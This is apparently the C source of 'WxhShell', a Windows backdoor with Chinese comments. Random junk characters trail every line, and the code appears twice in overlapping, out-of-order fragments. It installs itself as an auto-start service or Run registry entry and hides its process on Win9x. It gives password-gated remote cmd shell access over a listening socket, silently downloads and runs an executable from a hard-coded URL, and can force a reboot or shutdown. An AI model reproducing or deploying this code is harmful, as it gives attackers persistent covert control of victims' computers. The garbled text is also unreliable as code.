    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "V0:Lq  
    if(Boot(SHUTDOWN)) sri#L+I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h3EDN:FQ  
    else { *F*fH>?C#  
    closesocket(wsh); 4 .B*B3  
    ExitThread(0); ~ p.W*skD  
    } 1!wEXH(  
    break; . b`P!  
    } |a$w;s>\  
  // 获取shell ~&lJT  
  case 's': { Qf>Pb$c$U  
    CmdShell(wsh); |Du13i4].&  
    closesocket(wsh); zlztF$Bo  
    ExitThread(0); T\!SA  
    break; qetP93N_*  
  } Z_ gV Ya  
  // 退出 /_OZ1jX  
  case 'x': { x5z4Yv^ m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {dx /p-Tv  
    CloseIt(wsh); _L'cyH.cn  
    break; 6q[!X0u  
    } HL}~W}!j  
  // 离开 5%+bWI{w  
  case 'q': { 50GYL5)q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -0o6*?[Z  
    closesocket(wsh); XH:gQ9FD  
    WSACleanup(); vZeYp  
    exit(1); +%qSB9_>N{  
    break; 7;}3{z  
        } &<V_[Wh"  
  } 3).o"AN  
  } oUvk2]H  
Rs F3#H  
  // 提示信息 a5}44/%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y^QYl ZO  
} uz#PBV8Q  
  } @>Ghfh>~D  
}K/}(zuy1Y  
  return; uH&,%k9GVK  
} Vo 6y8@\  
nKh%E-c  
// shell模块句柄 : \:~y9X0  
int CmdShell(SOCKET sock) N+s?ZE*  
{ 9Z0CF~Y5  
STARTUPINFO si; [+ 'B Q  
ZeroMemory(&si,sizeof(si)); `  -[Bo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z6R: rq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Z A#T:4  
PROCESS_INFORMATION ProcessInfo; WS1&3mOd  
char cmdline[]="cmd"; Sj0 ucnuHi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xxoHH#a  
  return 0; gVa+.x]  
} rwL=R,  
GSGyF  
// 自身启动模式 5 dfe@$  
int StartFromService(void) \[[TlB>  
{ )l#%.Z9  
typedef struct !dyxE'T2  
{ \)^,PA3  
  DWORD ExitStatus; O&#S4]Y   
  DWORD PebBaseAddress; :F^$"~(,  
  DWORD AffinityMask; ~U"by_  
  DWORD BasePriority; qe5tcv}u  
  ULONG UniqueProcessId; ~?AC:  
  ULONG InheritedFromUniqueProcessId; T_@[k  
}   PROCESS_BASIC_INFORMATION; S2rEy2\}:  
&RK H2R  
PROCNTQSIP NtQueryInformationProcess; W;Ud<7<;Z  
| rE!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xvwD3.1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a^*cZ?Ta  
DKy >]Hca  
  HANDLE             hProcess; {D_++^  
  PROCESS_BASIC_INFORMATION pbi; ku/\16E/k  
k4qLB1&,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;cv.f>Cm  
  if(NULL == hInst ) return 0; bz, Da  
(KT38RhA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n-b>m7O(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N]1V1c$G*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wGEWr2$  
6 gj]y^}  
  if (!NtQueryInformationProcess) return 0; J+ Jt4  
L;/9L[s,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]b4pI*:$I  
  if(!hProcess) return 0; ;_mgiKHg  
k2EHco0BG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i&'#+f4t  
99<4t$KH  
  CloseHandle(hProcess); r_b8,I6{]  
8)L'rW{q#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a?5WKO  
if(hProcess==NULL) return 0; rHvF%o  
z%OuI 8"'  
HMODULE hMod; fuq( 2&^  
char procName[255]; fv|]= e  
unsigned long cbNeeded; %lN2n,AK  
sW }<zGYd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^'m\D;  
+"jl(5Q  
  CloseHandle(hProcess); x>}B#  
+ c`AE  
if(strstr(procName,"services")) return 1; // 以服务启动 2zz,(RA  
+`ai1-vw  
  return 0; // 注册表启动 BbFa=H.  
} ]JH64~a  
Yl $X3wi  
// 主模块 2b5#PcKa  
int StartWxhshell(LPSTR lpCmdLine) <>%,}j 9  
{ }*NF&PD5RU  
  SOCKET wsl; BWWq4mdb{  
BOOL val=TRUE; fV 3r|Bp  
  int port=0; `)T&~2n  
  struct sockaddr_in door; :4|M jn  
+#4]o }6G  
  if(wscfg.ws_autoins) Install(); _1ew(x2J  
C\7u<2c  
port=atoi(lpCmdLine); :Zza)>l  
%;7.9%  
if(port<=0) port=wscfg.ws_port; K}x_nW  
62Mdm3  
  WSADATA data; @dl8(ILk'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _pW_G1U  
'TL2%T/)t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jo}1u_OJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @D)Z{=>{=5  
  door.sin_family = AF_INET; [& ^RP,N~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r$ =qQ7^#  
  door.sin_port = htons(port); 8'_ 0g[s  
`z9J`r= I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UP2}q?4  
closesocket(wsl); gw^'{b  
return 1; \6o\+OQk  
} dy<27=  
W m . }Zh  
  if(listen(wsl,2) == INVALID_SOCKET) { >^=gDJ\a  
closesocket(wsl); =LI:S|[4  
return 1; yoQ\lk  
} g\Ak;03n  
  Wxhshell(wsl); Ow@v"L;jF!  
  WSACleanup(); RP! X8~8  
l'6d4 DZ  
return 0; (Sv>NQp  
Ja|{1&J.  
} /aYpIMi9}  
&J$##B  
// 以NT服务方式启动 )6-9)pH@)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  Q=#I9-  
{ + BL{@,zr  
DWORD   status = 0; :U'Cor H  
  DWORD   specificError = 0xfffffff; ;JT(3yK4>p  
E7nFb:zlV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /7/0x ./{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P|xG\3@Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gmP9j)V6  
  serviceStatus.dwWin32ExitCode     = 0; <{Q'&T  
  serviceStatus.dwServiceSpecificExitCode = 0; Xj@+{uvQB  
  serviceStatus.dwCheckPoint       = 0; [=uIb._Wv  
  serviceStatus.dwWaitHint       = 0; z wk.bf>m  
8Lz]Z h=ZU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z-r2!^q27  
  if (hServiceStatusHandle==0) return; asVX82<  
-tLO.JK<  
status = GetLastError(); 2eb1 lJdS  
  if (status!=NO_ERROR) ZVih=Y-w  
{ Ak@Dyi?p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 28I^$> [  
    serviceStatus.dwCheckPoint       = 0; h4)Bs\==mT  
    serviceStatus.dwWaitHint       = 0; C vDxq:x  
    serviceStatus.dwWin32ExitCode     = status; pQa:pX  
    serviceStatus.dwServiceSpecificExitCode = specificError; $B (kZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {tiKH=&J  
    return; nZk +  
  } k N7Bd}  
WsGths+[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [?0d~Q(R#  
  serviceStatus.dwCheckPoint       = 0; uLR<FpM  
  serviceStatus.dwWaitHint       = 0; Fc6iQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A8r^)QJP{  
} 78 f$6J q  
]?+{aS-]?k  
// 处理NT服务事件,比如:启动、停止 9+=gke  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lLhL`C!  
{ =qy@Wvj$  
switch(fdwControl) 6gL-OJNo  
{ sD;M!K_  
case SERVICE_CONTROL_STOP: 88s/Q0l  
  serviceStatus.dwWin32ExitCode = 0; \M<3}t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #W>QY Tp  
  serviceStatus.dwCheckPoint   = 0; ULJmSe  
  serviceStatus.dwWaitHint     = 0; /YAJbr  
  { W/$Zvl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }_9,w;M$  
  } W-Hoyn>?2  
  return; 6w8" >~)Z  
case SERVICE_CONTROL_PAUSE: ia@'%8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; : rMM4  
  break; ~^jq(:d)  
case SERVICE_CONTROL_CONTINUE: =@&cHY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l7H qo)  
  break; Z<[<n0o1  
case SERVICE_CONTROL_INTERROGATE: #DU26nCL  
  break; t_^X$pL  
}; a8k;(/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YHkcWz  
} yZr M.%V  
}o4N<%/+  
// 标准应用程序主函数 3<?   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L!0OC''C  
{ IJYL s  
nRL. ppUI  
// 获取操作系统版本 m7a#qs; ,  
OsIsNt=GetOsVer(); o8/ ;;*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %,Sf1fUJ  
d@`M CchCB  
  // 从命令行安装 0.T4{JS#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Nf>]|K:Q  
"Ve.cP,7(  
  // 下载执行文件 ;c~cet4  
if(wscfg.ws_downexe) { {~!q`Dr3?q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UcBe'r}G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1XM^8 .;  
} +zXEYc  
2 rw%H  
if(!OsIsNt) { eP*lI<NQ1  
// 如果时win9x,隐藏进程并且设置为注册表启动 G'3qzBJ#  
HideProc(); 3_~cMlr3T.  
StartWxhshell(lpCmdLine); 3)-/`iy#  
} 2gO2jJlv  
else L}@c6fHG  
  if(StartFromService()) ,'[<bP'%_  
  // 以服务方式启动 O3TQixE  
  StartServiceCtrlDispatcher(DispatchTable); DXz} YIEC  
else fP.F`V_Y  
  // 普通方式启动 ml\4xp,  
  StartWxhshell(lpCmdLine); mM`wITy  
2M# r]  
return 0; LP MU8Er  
} Fx-8M!  
PaV-F_2  
O_Oj|'bBC  
v) vkn/:  
=========================================== K~@Mg1R  
w@N  
Q}-~O1  
p.LFVFPT  
G:zua`u[  
os/vtyP:a  
" m1Y >Nj[f  
fk_o@ G!0  
#include <stdio.h> zN  [2YJ$  
#include <string.h> o6V}$wT3J  
#include <windows.h> (V4 ~`i4V  
#include <winsock2.h> Ei2'[PK  
#include <winsvc.h> ~%YBI9$+  
#include <urlmon.h> &^W|iXi#  
)B[0JrcE  
#pragma comment (lib, "Ws2_32.lib") CiB%B`,N  
#pragma comment (lib, "urlmon.lib") o7|eMe?<t  
o865 (<p  
#define MAX_USER   100 // 最大客户端连接数 ]CoeSA`j  
#define BUF_SOCK   200 // sock buffer I'|$}/\`  
#define KEY_BUFF   255 // 输入 buffer aG^4BpIP  
'Fmvu   
#define REBOOT     0   // 重启 LqA@&H  
#define SHUTDOWN   1   // 关机 \EVBwE,  
Hla0 5N' 4  
#define DEF_PORT   5000 // 监听端口 7}X[ 4("bB  
t+eVR8  
#define REG_LEN     16   // 注册表键长度 1Z9qjV%^  
#define SVC_LEN     80   // NT服务名长度 92EWIHEWZ  
ayiu,DXx  
// 从dll定义API KN*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l,kUhZ@W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @;'o2   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _'(,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rj4|Q:XG  
@7B$Yy#  
// wxhshell配置信息 bua+I;b  
struct WSCFG { 8?%-'z.  
  int ws_port;         // 监听端口 NgY =&W,  
  char ws_passstr[REG_LEN]; // 口令 B&@?*^.  
  int ws_autoins;       // 安装标记, 1=yes 0=no UXh9:T'%  
  char ws_regname[REG_LEN]; // 注册表键名 kO}AxeQ  
  char ws_svcname[REG_LEN]; // 服务名 /AW=5Ck-#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ypy68_xyW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u,UmrR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BG<qIQd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1~PV[2a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kOed ]>H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mVy|{Oh  
0:T|S>FsAm  
}; Y 1t\iU  
3d e_V|%  
// default Wxhshell configuration ](s'L8 (x  
struct WSCFG wscfg={DEF_PORT, WS`qVL]^&  
    "xuhuanlingzhe", 2n|K5FR()  
    1, )/wk ( O+  
    "Wxhshell", 9_ d pR.  
    "Wxhshell", jJ5W>Q1mK$  
            "WxhShell Service", rsy'q(N[  
    "Wrsky Windows CmdShell Service", MP>dW nl  
    "Please Input Your Password: ", h"/< ?3{  
  1, Ipf =ZD  
  "http://www.wrsky.com/wxhshell.exe", zlEX+=3  
  "Wxhshell.exe" ]VD|xm:kj  
    }; d&+h}O  
}3OKC2K~  
// 消息定义模块 iy%ZQ[Un  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6e[VgN-s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6,0_)O}\b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tV{ 4"Ij9[  
char *msg_ws_ext="\n\rExit."; !K'}K>iT  
char *msg_ws_end="\n\rQuit."; HlH64w2^R  
char *msg_ws_boot="\n\rReboot..."; L:i-BI`J  
char *msg_ws_poff="\n\rShutdown..."; [m|YWT=  
char *msg_ws_down="\n\rSave to "; LyAn&h}  
!lj| cT9  
char *msg_ws_err="\n\rErr!"; SN1}xR$  
char *msg_ws_ok="\n\rOK!"; #6CC3TJ'k  
OUhqM VX9C  
char ExeFile[MAX_PATH]; T>NDSami  
int nUser = 0; pP*a  
HANDLE handles[MAX_USER]; <|SRe6m  
int OsIsNt; @ < Q|5  
&2{ tF  
SERVICE_STATUS       serviceStatus; ,uSQNre\j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]%IT|/;9Y  
}<9cL'  
// 函数声明 u[DfzH  
int Install(void); =g|IG [V  
int Uninstall(void); ]zWon~  
int DownloadFile(char *sURL, SOCKET wsh); RsY3V=u  
int Boot(int flag); TX&Jt%  
void HideProc(void); 4*Hgv:0?kI  
int GetOsVer(void); (q(~de  
int Wxhshell(SOCKET wsl); Q+W1lv8R  
void TalkWithClient(void *cs); Vnr[}<L  
int CmdShell(SOCKET sock); H\0~#(z?.  
int StartFromService(void); `s8{C b=}1  
int StartWxhshell(LPSTR lpCmdLine); mjKS{  
^$'z!+QRM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0a-0Y&lQm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "saUai4z  
4Za7^c.  
// 数据结构和表定义 |4uWh  
SERVICE_TABLE_ENTRY DispatchTable[] = &3TEfvz  
{ 6 1F(<!  
{wscfg.ws_svcname, NTServiceMain}, 3tZ]4ms}  
{NULL, NULL} Cc%LztP>  
}; s#)5h0t#du  
 wv\w;'  
// 自我安装 4'!c*@Y  
int Install(void) q@nP}Pv&5  
{ z6w3"9Um  
  char svExeFile[MAX_PATH]; \\u<S=G  
  HKEY key; enSXP~9w  
  strcpy(svExeFile,ExeFile); q&W[j5E  
"hzB9*"t  
// 如果是win9x系统,修改注册表设为自启动 Q2F+?w;,  
if(!OsIsNt) { H\:lxR^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RHO(?8"_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K%F,='P}  
  RegCloseKey(key); ~==>pj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JSTuXW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &' Ne! o8  
  RegCloseKey(key); a6WI170^1  
  return 0; ZRg;/sX]  
    } G}:lzOlMH  
  } 17G'jiY H  
} n 3D;"a3  
else { #7 q7PYG4  
Z^IPZF  
// 如果是NT以上系统,安装为系统服务 7w/4QiI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f,:9N5Z  
if (schSCManager!=0) Ft;^g3N  
{ g#t[LI9(F[  
  SC_HANDLE schService = CreateService [`rba'  
  ( -2A(5B9Fq  
  schSCManager, }Hxd*S  
  wscfg.ws_svcname, X  .5aMm  
  wscfg.ws_svcdisp, HLZ;8/|48m  
  SERVICE_ALL_ACCESS, P%(O|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v4.#;F.\m  
  SERVICE_AUTO_START, 6Qy@UfB  
  SERVICE_ERROR_NORMAL, ^k#P5oV  
  svExeFile, ~?FpU  
  NULL, m/y2WlcRx  
  NULL, .sj^{kGE  
  NULL, G6FEp`  
  NULL, =MLcm^b  
  NULL 5yiK+-iTs  
  ); nw<&3k(g}  
  if (schService!=0) /S(zff[at  
  { ~;&m*2 |V  
  CloseServiceHandle(schService); 7El[ >  
  CloseServiceHandle(schSCManager); x"{'&J[hx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jh?dw3Ai^  
  strcat(svExeFile,wscfg.ws_svcname); (;57Vw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fI~Xmw+}}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -OA?BEQ=I  
  RegCloseKey(key); .b-f9qc=  
  return 0; OI0;BBZ  
    }  uJ5Eka  
  } !/3B3cG  
  CloseServiceHandle(schSCManager); S!3S4:]B^  
} H+ 0$tHi  
} -!N&OZ+R   
y?a Acn$  
return 1; (v}>tb*#`  
} <B6&I$Wc+  
L.1_(3NG  
// 自我卸载 EVVP]ND  
int Uninstall(void) [-;_ZFS{  
{ C~N/A73gF  
  HKEY key; Eg2[k.{P  
(jFGa2{  
if(!OsIsNt) { elG<k%/2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F;l$.9?.s  
  RegDeleteValue(key,wscfg.ws_regname); UF<uU-C"  
  RegCloseKey(key); ]&i.b+^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7"w2$*4'0  
  RegDeleteValue(key,wscfg.ws_regname); E gal4  
  RegCloseKey(key); 3plzHz,x  
  return 0; k?z98 >4  
  } 2cqI[t@0  
} f3Hed  
} b D[!/'4eJ  
else { 9v }G{mQ#  
2;^y4ssg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,^x4sA[/  
if (schSCManager!=0) jGEt+\"/QJ  
{ & M~`:R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _%B^9Yl3(  
  if (schService!=0) USVqB\#  
  { DVK)2La  
  if(DeleteService(schService)!=0) { hlJq-*6'  
  CloseServiceHandle(schService); {e[c  
  CloseServiceHandle(schSCManager); DWID$w  
  return 0; BvR-K\rx  
  } HE'2"t[a  
  CloseServiceHandle(schService); v|Yh w  
  } BwBm[jtP  
  CloseServiceHandle(schSCManager); cu%C"  
} @*qz(h]\  
} r ; xLP  
AwTJJ0>  
return 1; ;[W"mlM  
} +\|Iu;w  
XvE9 b5}  
// 从指定url下载文件 Pp| *J^U 4  
int DownloadFile(char *sURL, SOCKET wsh) baP^<w^  
{ #F*1V(!  
  HRESULT hr; @EDs~ lPv  
char seps[]= "/"; m^#rB`0;L  
char *token; Z0*ljT5|  
char *file; g=2Rqi5  
char myURL[MAX_PATH]; Uv?|G%cD-  
char myFILE[MAX_PATH]; a9T@$:  
S=nP[s  
strcpy(myURL,sURL); H.W E6  
  token=strtok(myURL,seps); xritonG/F  
  while(token!=NULL) GN0`rEh  
  { [ e8x&{L-_  
    file=token; svuq gSn  
  token=strtok(NULL,seps); ylB7*>[  
  } Cxcr/9  
}4{fQ`HT  
GetCurrentDirectory(MAX_PATH,myFILE); $YXMI",tt<  
strcat(myFILE, "\\"); q~5 9F@  
strcat(myFILE, file); J%jB?2 1:o  
  send(wsh,myFILE,strlen(myFILE),0); d5>H3D{49  
send(wsh,"...",3,0); ^m /oDB-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \o Eo~  
  if(hr==S_OK) dTL5-@  
return 0; Qq@G\eRo  
else Q3 eM2i8Y  
return 1; .!6>oL/iF  
cwuO[^S}  
} :KKa4=5L  
1t Jg#/?  
// 系统电源模块 d @*GUmJ  
int Boot(int flag) T /mI[*1xI  
{ ErT{(t7  
  HANDLE hToken; ] )"u+  
  TOKEN_PRIVILEGES tkp; +*n-<x5"  
R.s^o]vT  
  if(OsIsNt) { Maqf[ Vky  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7nVRn9Hn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &I({T`=  
    tkp.PrivilegeCount = 1; ?6k}ii!c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yg2uC(2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y9=(zOqv  
if(flag==REBOOT) { *1'`"D~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y')RT R{>M  
  return 0; jr /lk  
} 5PIZh<  
else { kwud?2E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0vGyI>  
  return 0; {i*2R^5  
} /oL;YIoQX  
  } kJAn4I.l  
  else { Z/6qG0feJ  
if(flag==REBOOT) { {&[9iIf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fa epDjY8  
  return 0; S\wW)Pv8  
} E"|4Y(G  
else { vNW jH!'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @f!AkzI  
  return 0; 5 #]4YI;  
} L!'k ! k  
} OI0B:()  
O3N_\B:  
return 1; J R PSvP\  
} >qo~d?+  
;XC@ =RpX  
// win9x进程隐藏模块 WV"jH9"[  
void HideProc(void) AY SSa 1}  
{ kJ(A,s|  
}sxn72,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .A1\J@b  
  if ( hKernel != NULL ) _J]2~b  
  {  jAND7&W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XjE>k!=I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hwm?#6\5  
    FreeLibrary(hKernel); ~JuKV&&}K  
  } quo^fqS&a  
lM#A3/=K  
return; Dz_eB"}  
} &kQ!KA28  
|c2v%'J2G  
// 获取操作系统版本 `!G7k  
int GetOsVer(void) o0p T6N)  
{ a}d6o;li  
  OSVERSIONINFO winfo; On1v<SD$[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hh kN^S,  
  GetVersionEx(&winfo); n~Szf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *C,N'M<u  
  return 1; xq!IbVV/h  
  else ~]8p_;\  
  return 0; ?A7Yk4Y.?N  
} rwpgBl  
>Jm"2U}lZW  
// 客户端句柄模块 hN(L@0)  
int Wxhshell(SOCKET wsl) u{bL-a8}  
{ .}9FEn 8  
  SOCKET wsh; (Q-I8Y8l8  
  struct sockaddr_in client; sIm#_+Y  
  DWORD myID; djT. 1(  
2[dIOb4b  
  while(nUser<MAX_USER) (G4'(6  
{ Zj-BuE&@f  
  int nSize=sizeof(client); H2Eb\v`#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >$ F:*lO  
  if(wsh==INVALID_SOCKET) return 1; wk 02[  
C=VIT*=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MB* u-N0v  
if(handles[nUser]==0) w{'2q^>6*  
  closesocket(wsh); 4&N$:j<  
else aed+C:N  
  nUser++; C(]'&~}(  
  } *=vlqpG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WL\^F#:  
y3yvZD  
  return 0; VjTe4$ *  
} PZ34*q  
rR!U;  
// 关闭 socket fr#Qz{  
void CloseIt(SOCKET wsh) <lOaor c  
{ 'XTs -=  
closesocket(wsh); 6s,2NeVWa  
nUser--; O|UxFnB}  
ExitThread(0); j, t~  
} S?,_<GD)w  
Igjr~@ #  
// 客户端请求句柄 `{G?>z Fp  
void TalkWithClient(void *cs) >38 Lt\  
{ 6wpU6NU  
y~p4">]  
  SOCKET wsh=(SOCKET)cs; vOgLEN&]  
  char pwd[SVC_LEN]; 1D$::{h  
  char cmd[KEY_BUFF]; GEtbs+[  
char chr[1]; [EGx  
int i,j; ? : md  
& zgPN8u  
  while (nUser < MAX_USER) { > tEK+Y|N}  
1#D<ZN  
if(wscfg.ws_passstr) { B+Q+0tw*i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MW]8;`|jC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +=, u jO:  
  //ZeroMemory(pwd,KEY_BUFF); _:5=|2-E  
      i=0; W^(Iw%ek  
  while(i<SVC_LEN) { `Z8^+AMc  
! o^Ic`FhS  
  // 设置超时 \ 522,n`  
  fd_set FdRead; va>"#;37  
  struct timeval TimeOut; &Y=.D:z<  
  FD_ZERO(&FdRead); SKJW%(|3  
  FD_SET(wsh,&FdRead); N<"`ShCNM  
  TimeOut.tv_sec=8; K6(.KEW  
  TimeOut.tv_usec=0; bqjr0A7{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !3HsI| $<G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WQ.i$ID/  
aG Ef#A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RnSm]}?  
  pwd=chr[0]; /4H[4m]I  
  if(chr[0]==0xd || chr[0]==0xa) { }\4p3RQrz  
  pwd=0; @%H8"A  
  break; j Ii[  
  } U,38qKE  
  i++; .}~$1QKS  
    } 08O7F  
;'hi9L  
  // 如果是非法用户,关闭 socket +:!ScG*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pEkOSG  
} `1$y(w]  
+.wT 9kFcc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wk,6) jS=}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8Yxhd .  
%awVVt{aG  
while(1) { <g*.p@o  
bz$Qk;m=H  
  ZeroMemory(cmd,KEY_BUFF); %Dra7B%  
`LE^:a:8,  
      // 自动支持客户端 telnet标准   )X~#n  
  j=0; AX8gij  
  while(j<KEY_BUFF) { PlF!cr7:4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2k+= kt  
  cmd[j]=chr[0]; 2J)74SeH  
  if(chr[0]==0xa || chr[0]==0xd) { 61L7 -~  
  cmd[j]=0; Y=3X9%v9g  
  break; Et)9 20  
  } {vLTeIxf.G  
  j++; y%2%^wF  
    } mZ~mf->%  
E3LBPXK  
  // 下载文件 Mq76]I%  
  if(strstr(cmd,"http://")) { (eki X*y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #jhQBb4?,  
  if(DownloadFile(cmd,wsh)) K/Sq2:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tK*%8I\s  
  else kpl~/i`4  
